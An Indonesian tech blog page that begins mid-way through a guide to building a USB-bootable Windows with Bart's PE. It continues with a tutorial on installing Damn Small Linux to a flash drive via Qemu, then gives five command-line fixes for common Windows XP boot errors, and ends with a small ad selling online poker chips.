Setelah tool di-install, jalankan ‘PE Builder’. Masukkan ‘XP’ di bawah ‘Source'. Gunakan saja nama direktori yang disediakan PE Builder (C:\PEBuilder319\BartPE, tergantung versi PE Builder) di bawah ‘Output’ lalu klik 'PlugIns'. Download plugin yang dibutuhkan di www.nu2.nu/pebuilder/#plugins dan ekstrak filenya ke dalam folder ‘plugin’ Bart's PE.

Sampai tahap ini, berarti semua persiapan telah selesai. Pastikan USB flash drive Anda terpasang dan hapus file-file start yang telah di-copy pada tes pertama.Kemudian, jalankan PE Builder dan pastikan, di bawah ‘Source’ tercantum ‘XP’. Option ‘Create ISO-image’ dan ‘Burn to CD/DVD’ harus dinonaktifkan. Klik ‘Build’ agar Windowsnya menjadi self-starter.

Dengan bantuan sebuah file batch, akhirnya kini Anda dapat mengcopy Windows ke USB flash drive.Arahkan Windows Explorer ke folder ‘c:\pebuilder319\plugin\peinst' dan jalankan file 'peinst'.
Dalam jendela DOS yang terbuka, tekan tombol [1] dan ubah source-path menjadi ‘c:\pebuilder319\bartpe’. Setelah menekan tombol [2], masukkan huruf drive USB flash drive Anda sebagai targetpath. Selanjutnya, pilih tombol [5] untuk meng-install Bart’s PE dan start melalui tombol [1]. Kini, Bart's PE mentransfer semua data yang relevan ke USB flash drive. Saat Anda mendapat laporan ‘Installation completed’, Windows versi USB Anda siap digunakan.

Tampilan Windows versi USB memiliki sedikit perbedaan dibandingkan Windows standar. Biasakan dengan setiap perbedaan yang ada agar nantinya Anda merasa nyaman setiap ingin menggunakannya.


By ADRY-Z


Lanjutannya...

Linux Dalam USB Flash Disk

Untuk melakukan instalasi Linux ke dalam USB flah disk, Persiapkan hal-hal berikut:
1. Qemu versi terbaru adalah emulator open source yang bisa Anda download di
http://fabrice.bellard.free.fr/qemu/download.html.

2. File image ISO dari Damn Small Linux. Anda pun dapat men-download versi
terbarunya di www.damnsmalllinux.org. Ukuran filenya sekitar 50 MB.

3. Sebuah USB disk dengan kapasitas minimal sekitar 128 MB.

4. PC dengan kemampuan boot USB.

5. Ekstrak paket source Qemu :
$ tar xzvf qemu-0.8.1.tar.gz

6. Lakukan konfigurasi, kompilasi, dan instalasi seperti berikut ini :
$ ./configure --prefix=/usr/local/qemu --target-list=i386-softmmu
$ make
# make install
# ln -s /usr/local/qemu/bin/qemu/usr/bin/qemu

7. Asumsikan file .isonya bernama dsl-2.3.iso dan berlokasi pada direktori /tmp.
Jalankan qemu:
# qemu -usb -cdrom /tmp/dsl-2.3.iso -m 128
-boot d -net none

8. Ketik ‘install’ untuk mem-boot DSL langsung ke menu instalasi. Cara ini dipilih karena Anda dapat langsung menginstall ke UFD, tanpa perlu menunggu X Window di-load (gambar kanan atas). Jangan buru-buru memilih salah satu item menu. Sekarang saatnya menancapkan UFD Anda ke port USB yang kosong. Pastikan sistem Linux mengenali adanya UFD dengan mengetik:
# lsusb
Bus 001 Device 003: ID 067b:2517 Prolific
Technology, Inc. Flash Disk Mass Storage
Device
Bus 001 Device 002: ID 067b:2515 Prolific
Technology, Inc. Flash Disk Embedded Hub

9. Agar Qemu dan DSL dapat mengakses UFD, Anda harus meng-unload module kernel yang
menangani USB storage:
$ rmmod usb_storage

10. Sekarang Anda perlu membuat UFD Anda tersambung ke dalam DSL. Caranya:
Klik window Qemu dan pindah ke window control Qemu dengan menekan [Ctrl]+[Alt-2].
Ketik info usbhost untuk melihat tampilan seperti berikut:
Device 1.3 , speed 480 MB/s
Class 00: USB device 067b:2517, USB
Mass Storage Device

11. Sambungkan perangkat UFD Anda:
usb_add host:067b:2517
ganti angka "067b:2517" sesuai dengan vendor dan product ID yang Anda dapat pada langkah 10.

12. Tahapan berikutnya berkonsentrasi pada instalasi DSL:
Pada menu "DSL Install", ketik "7" untuk memilih "USB Pendrive HDD boot install" dan tekan Enter. Jawab "Y" pada pertanyaan "Display your USB storage device information log". Ini akan memudahkan Anda untuk mengecek kembali apakah UFD sudah dideteksi dengan tepat dan mengetahui nama device USB Anda.

Prompt selanjutnya menanyakan nama device UFD Anda. Umumnya, UFD diset dengan nama sda. Teks "Attached scsi disk sda" membuktikan hal ini. Ketik "sda" dan tekan Enter.

Pada prompt "Is this an installation or upgrade?" jawab dengan "i" karena Anda pertama kali meng-install, bukan meng-upgrade DSL yang sudah ada pada UFD. Jawab pertanyaan "Use DSL iso from"
dengan mengetik "l" lalu tekan Enter. Kenapa "l"? Jangan lupa bahwa Anda saat ini sedang menjalankan Linux Live CD, hanya saja bukan di dalam PC secara nyata tapi via emulator. File .iso bertindak sebagai "live CD" nya.

Pada pertanyaan "List boot options :", langsung tekan Enter (gambar bawah). Selanjutnya, Anda temui pertanyaan "Choose language/keyboard". Langsung tekan Enter karena Anda akan menggunakan setting keyboard dan bahasa Inggris. Pada prompt "Ready to proceed?", ketik "y" lalu Enter. Anda akan dimintai konfirmasi sekali lagi. Ketik "y". Proses instalasi akan dimulai. Bisa Anda lihat sendiri, DSL akan melakukan semuanya secara otomatis, mulai dari proses partisi, format, sampai copy file. Tekan [Enter] saat teks "USB installation has completed. Press Enter" muncul. Anda akan kembali ke menu "DSL Install". Ketik "9" dan Enter untuk mengakhiri Qemu Anda.

Saat ini, UFD Anda telah siap digunakan. Saatnya mencoba sistem Linux "mini" Anda. Reboot PC Anda, tetapi biarkan UFD tetap tertancap di USB port. Pada PC yang diuji, setting "Enable USB Legacy support" harus diaktifkan di BIOS agar PC dapat di-boot melalui USB.

Apabila sukses, monitor akan menampilkan prompt boot yang mirip dengan tampilan prompt LILO. Anda bisa langsung menekan Enter untuk memulai proses booting DSL.

Selamat Mencoba

By ADRY-Z

File dokumennya bisa di download disini


Lanjutannya...

Kamis, 24 Juli 2008

5 Cara Memperbaiki Windows XP

1. Memperbaiki Instalasi (Repair Install)

Jika Windows XP Anda rusak (corrupted) dimana Anda tidak mempunyai sistem operasi lain untuk booting,
Anda dapat melakukan perbaikan instalasi (Repair Install) yang bekerja sebagaimana setting (pengaturan)
yang awal.

- Pastikan Anda mempunyai kunci (key) Windows XP yang valid.
- Keseluruhan proses akan memakan waktu kurang lebih 1/2 atau 1 jam, tergantung spek komputer Anda.
- Jika Anda dimintai password administrator, sebaiknya Anda memilih opsi perbaikan (repair) yang kedua,
bukan yang pertama.

- Masukkan CD Windows XP Anda dan lakukan booting dari CD tersebut.
- Ketika sudah muncul opsi perbaikan kedua R=Repair, tekan tombol R
Ini akan memulai perbaikan.
- Tekan tombol F8 untuk menyetujui proses selanjutnya “I Agree at the Licensing Agreement”
- Tekan tombol R saat direktori tempat Windows XP Anda terinstal. Biasanya C:\WINDOWS
Selanjutnya akan dilakukan pengecekan drive C: dan mulai menyalin file-file.
Dan secara otomatis restart jika diperlukan. Biarkan CD Anda dalam drivenya.
- Berikutnya Anda akan melihat sebuah gambar “progress bar” yang merupakan bagian dari perbaikan,
dia nampak seperti instalasi XP normal biasanya, meliputi “Collecting Information, Dynamic Update,
Preparing Installation, Installing Windows, Finalizing Installation”.
- Ketika ditanya, klik tombol Next
- Ketika ditanya untuk memasukkan kunci, masukkan kunci (key) Windows XP Anda yang valid.
- Normalnya Anda menginginkan tetap berada dalam nama Domain atau Workgroup yang sama.
- Komputer akan restart.
- Kemudian Anda akan mempunyai layar yang sama sebagaimana pengaktifan sistem ketika instalasi normal.
- Register jika Anda menginginkannya (biasanya tidak diperlukan).
- Selesai

Sekarang Anda bisa log in dengan account Anda yang sudah ada.


2. NTOSKRNL Rusak atau Hilang (Missing or Corrupt)

Jika Anda mendapati pesan error bahwa “NTOSKRNL not found” / NTOSKRNL tak ditemukan, lakukan:
- Masukkan CD Windows XP dan booting dari CD tersebut.
- Pada saat muncul opsi R=Repair yang pertama, tekan tombol R.
- Tekan angka sesuai dengan lokasi instalasi Windows yang ingin diperbaiki yang sesuai.
- Biasanya #1
- Pindahlah ke drive CD Drive Anda berada.
- Tulis: CD i386
- Tulis: expand ntkrnlmp.ex_ C:\Windows\System32\ntoskrnl.exe
- Jika Windows XP Anda terinstal di tempat lain, maka ubahlah sesuai dengan lokasinya.
- Keluarkan CD Anda dan ketikkan EXIT


3. HAL.DLL Rusak atau Hilang (Missing or Corrupt)

Jika Anda mendapatkan error berkenaan dengan rusak atau hilangnya file hal.dll, ada kemungkinan
file BOOT.INI mengalami salah konfigurasi (misconfigured).

- Masukkan CD Windows XP dan booting dari CD tersebut.
- Pada saat muncul opsi R=Repair yang pertama, tekan tombol R.
- Tekan angka sesuai dengan lokasi instalasi Windows yang ingin diperbaiki yang sesuai.
- Biasanya #1
- Tulis: bootcfg /list
Menampilkan isi/masukan pada file BOOT.INI saat ini
- Tulis: bootcfg /rebuild
Memperbaiki konfigurasi dari file BOOT.INI
- Keluarkan CD Anda dan ketikkan EXIT


4. Direktori \WINDOWS\SYSTEM32\CONFIG rusak atau hilang

Jika Anda mendapatkan error dengan tulisan:

“Windows could not start because the following files is missing or corrupt
\WINDOWS\SYSTEM32\CONFIG\SYSTEM or \WINDOWS\SYSTEM32\CONFIG\SOFTWARE”

- Masukkan CD Windows XP dan booting dari CD tersebut.
- Pada saat muncul opsi R=Repair yang pertama, tekan tombol R.
- Tekan angka sesuai dengan lokasi instalasi Windows yang ingin diperbaiki yang sesuai.
- Biasanya #1
- Masukkan password administrator jika diperlukan.
- Tulis: cd \windows\system32\config
- Berikutnya tergantung di bagian mana letak terjadinya kerusakan:
- Tulis: ren software software.rusak ATAU ren system system.rusak
- Berikutnya lagi juga tergantung di bagian mana letak terjadinya kerusakan:
- Tulis: copy \windows\repair\system
- Tulis: copy \windows\repair\software
- Keluarkan CD Anda dan ketikkan EXIT


5. NTLDR atau NTDETECT.COM tak ditemukan (NTLDR or NTDETECT.COM Not Found)

Jika Anda mendapati error bahwa NTLDR tak ditemukan saat booting:

a. Untuk partisi tipe FAT
- Silakan Anda melakukan booting dari disket Win98 Anda dan salinlah file NTLDR atau NTDETECT.COM
dari direktori i386 ke drive induk/akar (root) C:\

b. Untuk partisi tipe NTFS
- Masukkan CD Windows XP dan booting dari CD tersebut.
- Pada saat muncul opsi R=Repair yang pertama, tekan tombol R.
- Tekan angka sesuai dengan lokasi instalasi Windows yang ingin diperbaiki yang sesuai.
- Biasanya #1
- Masukkan password administrator jika diperlukan.
- Masukkan perintah berikut, dimana X: adalah alamat drive dari CD ROM Anda (Sesuaikan!).
- Tulis: COPY X:\i386\NTLDR C\:
- Tulis: COPY X:\i386\NTDETECT.COM C:\
- Keluarkan CD Anda dan ketikkan EXIT


Lanjutannya...

 
Jual Chip Poker Paket ID
25M = Rp. 75.000
50M = Rp. 140.000
100M = Rp. 250.000

Kontak Person:
YM = adriantojusuf
SMS Only = 081244438282
Info lengkap..!